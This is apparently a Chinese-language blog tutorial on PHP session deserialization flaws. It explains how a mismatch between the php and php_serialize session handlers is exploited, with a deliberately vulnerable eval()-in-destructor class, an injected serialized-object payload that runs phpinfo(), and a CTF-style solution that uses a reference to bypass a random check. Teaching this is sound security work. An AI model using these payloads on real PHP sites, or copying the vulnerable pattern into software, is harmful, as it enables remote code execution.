Loading

PHP反序列化基础之session反序列化

当session_start()被调用或者php.ini中session.auto_start为1时,

php内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp).

存取数据的格式有多种,常用的有三种

漏洞产生:写入格式和读取格式不一致

1. PHP 内置格式 (php) - 默认
  • 示例
    username|s:5:"admin";
    age|i:25;
  • 存储结构

    • <键名>|<serialize(值)>
    • 特点
      • 使用竖线 | 分隔键名和序列化值
      • 兼容性最好(PHP 所有版本支持)
      • 安全风险:竖线易被注入(如 "|恶意代码"
    • 适用场景
      需要兼容旧版 PHP 的传统应用

    2. PHP 序列化格式 (php_serialize) - PHP 5.5.4+

    • 示例
      a:2:{s:8:"username";s:5:"admin";s:3:"age";i:25;}

    存储结构

    • serialize($_SESSION) // 整个数组序列化
    • 特点
      • 标准化 serialize() 格式
      • 支持嵌套数据结构(数组、对象等)
      • 安全风险:需防止反序列化漏洞(如 unserialize 恶意数据)
    • 适用场景
      现代 PHP 应用(推荐默认使用)

    3. PHP 二进制格式 (php_binary)

    • 示例
      \x08usernames:5:"admin";\x08` 是键名长度 8 的 ASCII 字符)

    存储结构

    • <键名长度(ASCII字符)><键名><serialize(值)>
    • 特点
      • 二进制安全(支持特殊字符键名)
      • 解析效率略高
      • 安全风险:长度前缀可能被伪造(如 \xFF 声明超长键名)
    • 适用场景
      高性能需求或需要处理二进制数据的场景

    漏洞例题:

    有漏洞的页面:

    <?php 
    ini_set('session.serialize_handler','php');// 设置会话序列化处理器为PHP内置格式
    session_start();//启动会话
    
    class D{
        var $a;
        function __destruct(){
            eval($this->a);//漏洞最终执行处
        }
    }
    ?>
    
    //可以看出这是一个读取session的代码
    
    <?php
    highlight_file(__FILE__);
    error_reporting(0);
    ini_set('session.serialize_handler','php_serialize');// 设置会话序列化处理器为php_serialize格式
    session_start();//启动会话
    $_SESSION['ben'] = $_GET['a'];
    ?>
    
    //可以看出这是一个保存session的代码
    

    漏洞利用:

    如果给a传入的参数:

    <?php
    class D{
        var $a='phpinfo();';
    }
    $a = new D();
    echo serialize($a);
    ?>
    

    输出a的参数:

    a=|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}

    在经过php_serialize保存后为:

    a:1:{s:3"ben";s:?"|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}"}

    计算一下长度

    >>> a = '|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}'
    >>> print(len(a))
    39
    

    a:1:{s:3"ben";s:39"|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}"}

    然后经过php读取时:

    a:1:{s:3"ben";s:39"|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}"}

    键名 serialize后的值

    学完就来练一个简单的题目:

    <?php
    highlight_file(__FILE__);
    /*hint.php*/
    //提示有hint.php页面
    session_start();
    class Flag{
        public $name;
        public $her;
        function __wakeup(){//反序列化的时候会调用
            $this->her=md5(rand(1, 10000));//会给her赋值一个随机生成的一个1-10000的
                                          //数字的MD5的加密值
            if ($this->name===$this->her){//name和her的值必须完全相等
                include('flag.php');
                echo $flag;
            }
        }
    }
    ?>
    
    <?php
    highlight_file(__FILE__);
    error_reporting(0);
    ini_set('session.serialize_handler', 'php_serialize');// 设置会话序列化处理器为php_serialize
    session_start();
    $_SESSION['a'] = $_GET['a'];//获取参数a的值
    ?>
    

    两个php文件很明显hint.php来写入seesion值,index.php来读取session值

    index.php没有指明使用哪个序列化处理器,会使用默认的php.ini中session.serialize_handler的值

    一般就是php序列化处理器

    也可以打开看一下

    hint.php使用的是php_serialize()序列化处理器

    也就是和上面就那个题目一样

    还有一个需要构造的地方:

    因为her的值为随机生成的值,所以在这里就要用到引用的概念,参考链接:

    PHP反序列化基础之引用 - 赟希 - 博客园

    her和name的值的构造:

    <?php
    class Flag{
        public $name;
        public $her;
    }
    $a = new Flag();
    $a ->name =& $a ->her;
    echo serialize($a);
    ?>
    

    O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

    所以a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

    posted @ 2025-04-05 19:05  赟希  阅读(26)  评论(0)    收藏  举报